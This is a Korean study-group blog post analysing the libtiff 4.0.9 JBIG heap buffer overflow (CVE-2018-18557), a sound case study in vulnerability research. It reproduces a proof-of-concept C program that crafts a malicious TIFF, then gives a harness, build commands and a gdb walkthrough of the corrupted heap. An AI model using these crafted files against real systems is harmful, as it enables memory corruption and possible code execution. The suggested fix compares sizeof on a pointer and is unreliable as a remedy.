대외활동 및 팀플/빡공팟(P4C) 시스템 해킹 트랙 4기

[빡공팟 4기] 12주차: 실제 취약점 케이스 스터디

EYEN 2022. 7. 10. 23:50

. 분석 대상

https://www.exploit-db.com/exploits/45694

 

libtiff 4.0.9 - Decodes Arbitrarily Sized JBIG into a Target Buffer

libtiff 4.0.9 - Decodes Arbitrarily Sized JBIG into a Target Buffer EDB-ID: 45694 CVE: 2018-18557 Date: 2018-10-25

www.exploit-db.com

 

1. 취약점 개요

 

이 취약점은  libtiff 4.0.9 이하에서 발생합니다.

 

아래의 코드에서 JBIGDecode라는 함수가 JBIG이미지를 가져와서 디코딩하고 그 크기 만큼 버퍼에 _TIFFmemcpy함수로 복사하는 것을 확인할 수 있습니다.

static int JBIGDecode(TIFF* tif, uint8* buffer, tmsize_t size, uint16 s)
{
	struct jbg_dec_state decoder;
	int decodeStatus = 0;
	unsigned char* pImage = NULL;
	(void) size, (void) s;
	if (isFillOrder(tif, tif->tif_dir.td_fillorder))
	{
		TIFFReverseBits(tif->tif_rawdata, tif->tif_rawdatasize);
	}
	jbg_dec_init(&decoder);
(...)
	decodeStatus = jbg_dec_in(&decoder, (unsigned char*)tif->tif_rawdata,
				  (size_t)tif->tif_rawdatasize, NULL);
	if (JBG_EOK != decodeStatus)
	{
		(...)
	}
	pImage = jbg_dec_getimage(&decoder, 0);
	_TIFFmemcpy(buffer, pImage, jbg_dec_getsize(&decoder));
	jbg_dec_free(&decoder);
	return 1;
}

_TIFFmemcpy함수의 인자는 (복사 받아서 저장할 메모리, 복사할 내용, 얼마나 복사받을지) 로 이루어집니다. 위 코드에서는 디코딩된 pImage만큼 복사받아서 buffer에 저장합니다.
여기서 buffer크기보다 pImage의 크기가 더 크다면 넘친 데이터가 버퍼 이외의 메모리를 덮는 취약점이 발생할 수 있습니다.

2. JBIG과 TIFF

JBIG: 표준화된 무손실 이미지 압축 표준
TIFF(tagged image file format): 무손실 압축과 태그를 지원하는 이미지 포맷
tiff는 이미지 데이터 외에도 이미지에 대한 다른 정보를 기록할 수 있습니다. 모든 데이터 너비의 압축되지 않은 원시 데이터를 tiff에 쉽게 포함할 수 있습니다.
jbg_enc_free(&se)를 기준으로 위에는 JBIG에 대한 정보, 아래는 TIFF에 대한 정보입니다.
JBIG에서는 inputfile을 인코딩합니다. TIFF에서는 이미지 포맷에 맞게 tif file로 만들어지도록 태그들을 나열합니다.

#include <stdlib.h>
#include <stdio.h>
#include <sys/stat.h>
#include <stdint.h>
#include "jbig.h"


void output_bie(unsigned char *start, size_t len, void *file) 
{
  fwrite(start, 1, len, (FILE *) file); //

  return;
}

int main(int argc, char**argv)
{
  FILE* inputfile = fopen(argv[1], "rb");
  FILE* outputfile = fopen(argv[2], "wb");

  // Write the hacky TIF header.
  unsigned char buf[] = {
    0x49, 0x49, // Identifier.
    0x2A, 0x00, // Version.
    0xCA, 0x03, 0x00, 0x00, // First IFD offset.
    0x32, 0x30, 0x30, 0x31,
    0x3a, 0x31, 0x31, 0x3a,
    0x32, 0x37, 0x20, 0x32,
    0x31, 0x3a, 0x34, 0x30,
    0x3a, 0x32, 0x38, 0x00,
    0x38, 0x00, 0x00, 0x00,
    0x01, 0x00, 0x00, 0x00,
    0x38, 0x00, 0x00, 0x00,
    0x00, 0x01, 0x00, 0x00
  };
  fwrite(&(buf[0]), sizeof(buf), 1, outputfile);

  // Read the inputfile.
  struct stat st;
  stat(argv[1], &st);
  size_t size = st.st_size;
  unsigned char* data = malloc(size);
  fread(data, size, 1, inputfile);

  // Calculate how many "pixels" we have in the input.
  unsigned char *bitmaps[1] = { data };
  struct jbg_enc_state se;

  jbg_enc_init(&se, size * 8, 1, 1, bitmaps, output_bie, outputfile); /*인코더 초기화*/
  jbg_enc_out(&se); /*이미지 인코딩*/
  jbg_enc_free(&se); /*할당된 리소스 해제*/

  // The raw JBIG data has been written, now write the IFDs for the TIF file.
  unsigned char ifds[] = {
    0x0E, 0x00, // Number of entries.     +0 (Number of entries)(Subfile type, Datatype, 1, 0)

    0xFE, 0x00, // Subfile type.          +2
    0x04, 0x00, // Datatype: LONG.        +6
    0x01, 0x00, 0x00, 0x00, // 1 element. +10
    0x00, 0x00, 0x00, 0x00, // 0          +14
    0x00, 0x01, // IMAGE_WIDTH            +16(IMAGE_WIDTH, Datatype,1,96)
    0x03, 0x00, // Datatype: SHORT.       +18
    0x01, 0x00, 0x00, 0x00, // 1 element. +22
    0x96, 0x00, 0x00, 0x00, // 96 hex width.  +26
    0x01, 0x01, // IMAGE_LENGTH           +28(IMAGE_LENGTH, Datatype, 1,96)
    0x03, 0x00, // SHORT                  +30
    0x01, 0x00, 0x00, 0x00, // 1 element  +34
    0x96, 0x00, 0x00, 0x00, // 96 hex length. +38
    0x02, 0x01, // BITS_PER_SAMPLE        +40(BITS_PER_SAMPLE,Type,1,1)
    0x03, 0x00, // SHORT                  +42
    0x01, 0x00, 0x00, 0x00, // 1 element  +46
    0x01, 0x00, 0x00, 0x00, // 1          +50
    0x03, 0x01, // COMPRESSION            +52(COMPRESSION, Type,1,JBIG)
    0x03, 0x00, // SHORT                  +54
    0x01, 0x00, 0x00, 0x00, // 1 element  +58
    0x65, 0x87, 0x00, 0x00, // JBIG       +62
    0x06, 0x01, // PHOTOMETRIC            +64(PHOTOMETRIC,Type,1,)
    0x03, 0x00, // SHORT                  +66
    0x01, 0x00, 0x00, 0x00, // 1 element  +70
    0x00, 0x00, 0x00, 0x00,          // / +74
    0x11, 0x01, // STRIP_OFFSETS          +78(STRIP_OFFSETS, Type,0x13, offset 2c)
    0x04, 0x00, // LONG                   +80
    0x13, 0x00, 0x00, 0x00, // 0x13 elements  +82
    0x2C, 0x00, 0x00, 0x00, // Offset 2C in file  +86
    0x15, 0x01, // SAMPLES_PER_PIXEL      +90(SAMPLES_PER_PIXEL,Type,1,1)
    0x03, 0x00, // SHORT                  +92
    0x01, 0x00, 0x00, 0x00, // 1 element  +94
    0x01, 0x00, 0x00, 0x00, // 1          +98
    0x16, 0x01, // ROWS_PER_STRIP         +102(ROWS_PER_STRIP,Type,1,invalid)
    0x04, 0x00, // LONG                   +104
    0x01, 0x00, 0x00, 0x00, // 1 element  +106
    0xFF, 0xFF, 0xFF, 0xFF, // Invalid    +110
    0x17, 0x01, // STRIP_BYTE_COUNTS      +114(STRIP_BYTE_COUNTS,Type,0x13,read0xC0C5)
    0x04, 0x00, // LONG                   +116
    0x13, 0x00, 0x00, 0x00, // 0x13 elements  +118
    0xC5, 0xC0, 0x00, 0x00, // Read 0xC0C5 bytes for the strip? +122
    0x1A, 0x01, // X_RESOLUTION(X_RESOLUTION,RATIONAL,1,1C)
    0x05, 0x00, // RATIONAL
    0x01, 0x00, 0x00, 0x00, // 1 element
    0x1C, 0x00, 0x00, 0x00,
    0x1B, 0x01, // Y_RESOLUTION(Y_RESOLUTION,RATIONAL,1,24)
    0x05, 0x00, // RATIONAL
    0x01, 0x00, 0x00, 0x00, // 1 Element
    0x24, 0x00, 0x00, 0x00,
    0x28, 0x01, // RESOLUTION_UNIT(RESOLUTION_UNIT,type,1,2)
    0x03, 0x00, // SHORT
    0x01, 0x00, 0x00, 0x00, // 1 Element
    0x02, 0x00, 0x00, 0x00, // 2
    0x0A, 0x01, // FILL_ORDER(FILL_ORDER,type,1,Bit order inverted)
    0x03, 0x00, // SHORT
    0x01, 0x00, 0x00, 0x00, // 1 Element
    0x02, 0x00, 0x00, 0x00, // Bit order inverted.
    0x00, 0x00, 0x00, 0x00 };

  // Adjust the offset for the IFDs.
  uint32_t ifd_offset = ftell(outputfile);
  fwrite(&(ifds[0]), sizeof(ifds), 1, outputfile);
  fseek(outputfile, 4, SEEK_SET); //fopen으로 호출된 파일에서의 현재 위치를 이동시킬 수 있는 함수(파일포인터, 이동할 거리, 어떻게 이동할지 방식)
  fwrite(&ifd_offset, sizeof(ifd_offset), 1, outputfile);

  // Adjust the strip size properly.
  fseek(outputfile, ifd_offset + 118, SEEK_SET);
  fwrite(&ifd_offset, sizeof(ifd_offset), 1, outputfile);

  fclose(outputfile);
  fclose(inputfile);
  return 0;
}



. 취약성 검증 및 gdb 분석

1. 사전 지식

청크는 헤더와 데이터 영역으로 나뉩니다. 여기서 헤더는 이전 chunk가 free되면 이전 chunk의 크기정보를 기록하는 prev_size와 현재 chunk의 크기를 기록하는 size로 나뉩니다. 청크는 크기 정보에 따라서 관리하기 때문에 헤더 정보가 사라지면 청크를 관리할 수 없으므로 프로그램이 종료되어버립니다. 이를 이용해 취약점을 검증해보겠습니다.

2. 취약점 검증

1) 컴파일

exploit db에 제공된 vulnerable app을 다운받아 활용했습니다.
테스트 환경: ubuntu18.04
LibTIFF가 jbig 이미지를 디코딩할 수 있도록 libjbig-dev를 설치하고 readme에 적힌대로 컴파일했습니다.

sudo apt-get install libjbig-dev
./configure
make
sudo su root
make install

을 순서대로 명령합니다.

2) 취약점 검증하기

익스플로잇 db에 제공된 c코드 파일은 취약점을 유발하는 tiff파일을 생성할 수 있는 코드입니다.

<./컴파일한 c코드 파일> <힙 메모리를 덮는 데이터.txt> <testcase.tiff>

이 명령어를 통해 취약점을 갖고 있는 tiff파일을 생성할 수 있습니다.

취약점 검증 및 gdb분석을 위해 tiff파일을 인자로 받는 공격코드를 따로 짭니다.

#include <stdio.h>
#include "tiffio.h"

int main(int argc, char const *argv[]) 
{
    if (argc<2)
    {
        return -1;
    }

    TIFF* tif = TIFFOpen(argv[1], "r");
    if (tif) {
    tdata_t buf;
    tstrip_t strip;

    buf = _TIFFmalloc(TIFFStripSize(tif)); 
    for (strip = 0; strip < TIFFNumberOfStrips(tif); strip++)
        TIFFReadEncodedStrip(tif, strip, buf, (tsize_t) -1); //열린 TIFF 파일에서 데이터 스트립을 읽고 디코딩 합니다
    _TIFFfree(buf);
    TIFFClose(tif);
    }
}
//컴파일
gcc ./poc.c -g -o poc -I ./build/include/ -L /usr/local/lib/ /usr/local/lib/libtiff.a -ljbig -lm -lz
코드 흐름도

데이터 스트립을 읽고 디코딩한다음 해제시키는 방식입니다.

free(): invalid next size
너무 큰 크기의 데이터 때문에 free때 많은 chunk가 오버플로우되어서 프로그램이 종료되어버린 것을 확인할 수 있습니다.

3. gdb 분석

gdb분석을 통해 힙 오버플로우를 관찰해보겠습니다.

JBIGDecode로 갑니다

받은 이미지를 디코딩하고, 사이즈를 구해서 _TIFFmemcpy의 인자로 넣어주는 모습

 
JBIGDecode+136으로 가서 tiffmemcpy함수가 실행됐을 때의 힙을 확인할 것입니다.
세번째 인자가 아주 큰 값을 갖고 있는 것을 볼 수 있고, 이것은 복사대상 메모리의 크기를 의미합니다.
이제 heap영역을 보겠습니다.

 

이렇게 입력한 수많은 c가 청크들을 차지하고 있음을 알 수 있습니다.
이제 free함수를 실행한 뒤 heap의 헤더 정보를 봄으로써 힙 메모리를 오버플로우하는 데 성공했는지 살펴보겠습니다.
free함수를 실행해봅니다

heap을 봅시다.

header의 size정보가 입력한 데이터로 덮였습니다. 이를 통해 힙 오버플로우가 발생했음을 알 수 있습니다.

. 취약점 분석

1. 취약점 개념

이 취약점은 힙 버퍼오버플로우에 해당합니다.

heap 영역은 위로 자랍니다. 그래서 낮은 주소에 있는 버퍼가 넘쳐서 다른 버퍼를 침범하여 발생하는 것을 힙 버퍼오버플로우라고 합니다. 그래서 버퍼에 printf가 있다면 널바이트를 덮어서 메모리 릭도 가능하고 함수 포인터가 있다면 그것을 이용해 다음 그림처럼 프로그램의 실행 흐름을 변조할 수 있습니다.

2. 취약점 예방 방법

jbig.c 코드에

if (sizeof(buffer)<jbg_dec_getsize(&decoder)){
	printf("It can overflow heap buffer");
	return 0;
}

이렇게 이미지를 디코딩한 크기가 버퍼보다 클 때 경고하는 메시지를 출력하도록 한다면 취약점을 예방할 수 있을 것입니다.

참고문헌

https://oulth.tistory.com/35
https://m.blog.naver.com/PostView.naver?isHttpsRedirect=true&blogId=neos_rtos&logNo=220315252519
https://xz.aliyun.com/t/7590#toc-6
https://bloodguy.tistory.com/entry/TIFF-%ED%8C%8C%EC%9D%BC-%ED%8F%AC%EB%A7%B7
https://www.ibm.com/docs/ko/i/7.3?topic=functions-memcpy-copy-bytes
http://www.libtiff.org/man/TIFFReadEncodedStrip.3t.html